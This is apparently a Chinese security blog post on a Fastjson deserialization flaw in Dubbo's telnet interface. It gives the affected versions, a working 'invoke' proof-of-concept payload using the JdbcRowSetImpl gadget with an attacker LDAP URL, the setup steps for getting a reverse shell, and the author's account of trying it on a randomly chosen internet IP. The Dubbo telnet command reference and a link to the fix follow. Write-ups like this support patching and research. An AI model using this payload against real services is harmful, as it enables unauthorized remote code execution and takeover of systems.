背景

Dubbo 是基于阿里巴巴公司开源的一款高性能、轻量级的 Java RPC 框架,它提供 了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动 注册和发现。dubbo 服务发布之后,支持利用 telnet 命令进行调试、管理,经过 研发人员发现其处理处理 Telnet 服务的 Handler 代码默认使用了 Fastjson 进行 JSON 数据格式解析,导致存在 Fastjson 反序列化漏洞,攻击者可以实现远程代码执行。

反序列化

通过未授权链接dubbo,用Invoke构造fastJosn POC
查下了github的dubbo版本的fastjson版本配置

  1. 2.7.0<=2.7.3
  2. 2.6.0<=2.6.7
  3. 2.5.x 所有

以上fastjson的默认版本都低于1.2.47,所以构造fastjson POC反弹shell就简单多了

随机找一个测试IP
Dubbo 服务存在 Fastjson 反序列化漏洞可导致 Getshell - 图1
直接插入invoke fastjson POC (和fastjson利用过程一样 1.开启web服务 2.ladp配置 3.监听端口)

  1. invoke com.google.testfastjson(“aa”,{“name”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},”x”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://x.x.x.x/Exploit”,”autoCommit”:true}}, “poc”:11})

Dubbo 服务存在 Fastjson 反序列化漏洞可导致 Getshell - 图2
看反弹结果
Dubbo 服务存在 Fastjson 反序列化漏洞可导致 Getshell - 图3

Dubbo Telnet命令参考手册

Dubbo2.0.5以上版本服务提供端口支持telnet命令,
使用如:
telnet localhost 20880
或者:
echo status | nc -i 1 localhost 20880
telnet命令可以扩展,参见:扩展参考手册第6条。
status命令所检查的资源也可以扩展,参见:扩展参考手册第5条。

ls

(list services and methods)
ls
显示服务列表。
ls -l
显示服务详细信息列表。
ls XxxService
显示服务的方法列表。
ls -l XxxService
显示服务的方法详细信息列表。

ps

(print server ports and connections)
ps
显示服务端口列表。
ps -l
显示服务地址列表。
ps 20880
显示端口上的连接信息。
ps -l 20880
显示端口上的连接详细信息。

cd

(change default service)
cd XxxService
改变缺省服务,当设置了缺省服务,凡是需要输入服务名作为参数的命令,都可以省略服务参数。
cd /
取消缺省服务。

pwd

(print working default service)
pwd
显示当前缺省服务。

trace

trace XxxService
跟踪1次服务任意方法的调用情况。
trace XxxService 10
跟踪10次服务任意方法的调用情况。
trace XxxService xxxMethod
跟踪1次服务方法的调用情况
trace XxxService xxxMethod 10
跟踪10次服务方法的调用情况。

count

count XxxService
统计1次服务任意方法的调用情况。
count XxxService 10
统计10次服务任意方法的调用情况。
count XxxService xxxMethod
统计1次服务方法的调用情况。
count XxxService xxxMethod 10
统计10次服务方法的调用情况。

invoke

invoke XxxService.xxxMethod({“prop”: “value”})
调用服务的方法。
invoke xxxMethod({“prop”: “value”})
调用服务的方法(自动查找包含此方法的服务)。

status

status
显示汇总状态,该状态将汇总所有资源的状态,当全部OK时则显示OK,只要有一个ERROR则显示ERROR,只要有一个WARN则显示WARN。
status -l
显示状态列表。

log

2.0.6以上版本支持
log debug
修改dubbo logger的日志级别
log 100
查看file logger的最后100字符的日志

help

help
显示telnet命帮助信息。
help xxx
显示xxx命令的详细帮助信息。

clear

clear
清除屏幕上的内容。
clear 100
清除屏幕上的指定行数的内容。

exit

exit
退出当前telnet命令行。
Labels:None

http://alibaba.github.io/dubbo-doc-static/Telnet+Command+Reference-zh-showComments=true&showCommentArea=true.htm

修复方式

https://dubbo.apache.org/zh/docs/v2.7/user/references/qos/